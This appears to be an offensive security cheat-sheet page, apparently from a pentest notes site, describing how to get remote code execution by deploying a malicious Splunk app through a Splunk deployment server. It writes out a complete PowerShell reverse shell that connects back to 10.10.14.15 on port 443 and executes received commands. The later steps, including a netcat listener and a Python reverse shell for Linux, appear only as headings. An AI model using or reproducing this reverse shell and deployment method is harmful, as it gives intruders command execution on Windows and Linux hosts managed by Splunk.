attack
1. Create Splunk App Directory Structure
mkdir -p splunk_shell/splunk_shell/bin
mkdir -p splunk_shell/splunk_shell/default
tree splunk_shell/splunk_shell/2. Create PowerShell Reverse Shell (Windows)
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()3. Create a Batch File to Execute PowerShell (Windows)
4. Create Splunk App Configuration (Windows)
5. Package the Splunk App
6. Set Up a Netcat Listener
7. Upload the Splunk App
8. Create Python Reverse Shell (Linux)
9. Create Splunk App Configuration (Linux)
10. Deploy the App to Splunk Deployment Server
Windows Deployment Server:
Linux Deployment Server:
11. Validate Shell Access
Key Considerations
Last updated